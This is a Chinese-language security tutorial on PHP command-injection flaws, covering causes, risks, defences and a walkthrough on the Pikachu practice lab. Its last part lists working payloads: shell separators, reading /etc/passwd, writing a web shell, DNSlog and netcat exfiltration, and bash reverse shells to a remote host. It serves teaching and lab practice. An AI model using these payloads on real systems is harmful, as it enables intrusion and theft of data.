1、介绍
命令执行漏洞是指服务器端没有对客户端用户输入的命令进行充分过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。这种漏洞通常发生在服务器端需要调用执行命令的函数时,如PHP中的system、exec、shell_exec等函数。当攻击者能够控制这些函数中的参数时,他们就可以将恶意系统命令拼接到正常命令中,从而实现对服务器的非法控制。
相关函数
在php中可以调用外部程序的常见函数;
system(args)有回显
passthru(args)有回显
exec(args)回显最后一行-必须echo输出
shell_exec(args)无回显-必须输出
反引号:``
popen(handle.mode)无回显
proc_open('cmd','flag','flag')无回显
Sprocess=proc_open('dir'.$des,$pipes);
echo stream_get_contents($pipes[1]);
2、原理
命令执行漏洞的原理主要源于服务端对执行命令的函数缺乏必要的过滤机制。攻击者可以利用这一漏洞,通过编写特定的系统函数,输入到疑似存在命令执行接口的地方,从而检测并利用该漏洞。一旦攻击成功,攻击者就可以执行任意系统命令,包括读取敏感文件、执行恶意代码、甚至获取服务器的完全控制权。
3、危害
命令执行漏洞的危害性极大,因为它允许攻击者绕过正常的安全机制,直接对服务器进行非法操作。此外,由于PHP执行命令通常继承WebServer用户的权限,这意味着攻击者可以利用此漏洞获取到相当高的权限,进一步加剧了漏洞的危害性。
4、防御
开发人员应在编写代码时对可执行的特殊函数入口进行过滤,避免客户端能够提交恶意构造语句并执行。同时,Web服务器也应加强对system、eval和exec等重要函数的过滤,防止命令注入攻击的发生。此外,定期更新和修补服务器软件,以及采用其他安全措施,如使用防火墙和入侵检测系统,也是预防命令执行漏洞的有效手段。
5、测试---pikachu靶场
代码分析:
ipaddress参数是外部可以控制的,在判断类型,使用shell_exec函数调用系统命令,所以存在命令执行漏洞
5.1、命令执行漏洞攻击
;(分号)
命令按照顺序(从左到右)执行,并可用分号来进行分隔。一条命令执行失败,不会影响其他命令
命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令
命令链接符号解析
|(管道符)
通过管道符可以将一个命令的标准输出管理为另一个命令的标准输入。
&(后台任务符)
命令按照顺序(从左到右)执行,跟分号作用一样;此符号作用是后台任务符号是shell在后台执行,这样用户就可以立即得到一个提示符并继续其他工作
&&(逻辑与)
前后的命令执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面命令才执行
||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,后面的命令才执行
`(反引号)
当一个命令被解析是,它首先会执行反引号之间的操作。例如执行echo `ls-a`
$(command)命令替换
这是命令替换的不同符号。当反引号被过滤或编码是,可能有效
windows命令链接符
| & || && 和liunx一样
有回显的
发现命令执行漏洞,如果是回显的情况喜爱,获取系统敏感信息
win操作系统
type c:\\windows\win.ini
liunx操作系统
cat /etc/passwd
无回显
需要各种利用外通信技巧
命令执行漏洞外通信技巧
利用管道符号写入shell
如果存在漏洞的页面有web服务器,有权限写入,利用shell命令写入webshell后面到网站目录
|echo "PD9waHAgcGhwaW5mbygpOz8+"|base64 -d>2.php
dnslog
dnslog是一个显示解析记录的平台,在无回显的情况下,通过访问dnslog,dnslog会将访问的子域名头部文件记录下来
127.0.0.1|ping -c 2 `whoami`.9h6ydf.dnslog.cn
netcat
如果目标系统存在netcat。使用命令读取文件传递到远程服务器上
远程服务器监听命令
nc -lp 6666>123.txt
本地执行命令
| nc 192.168.10.129 6666< /etc/passwd
命令执行漏洞nc反弹shell
在执行命令漏洞,一般的利用方式是执行反弹shell,再进行其他的操作。执行反弹shell的命令有许多
反弹shell是因为从受害者反向连接到远程服务器,请求是从内部到外部,所以防火墙是不会拦截
远程服务器nc监听命令
nc -vlnp 5555
受害者反弹shell命令,每种语言都有sock连接命令,可以根据不同的换机,选择合适命令
bash -i >& /dev/tcp/192.168.10.129/5555 0>&1
使用bash shell执行
||/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.129/4444 0>&1'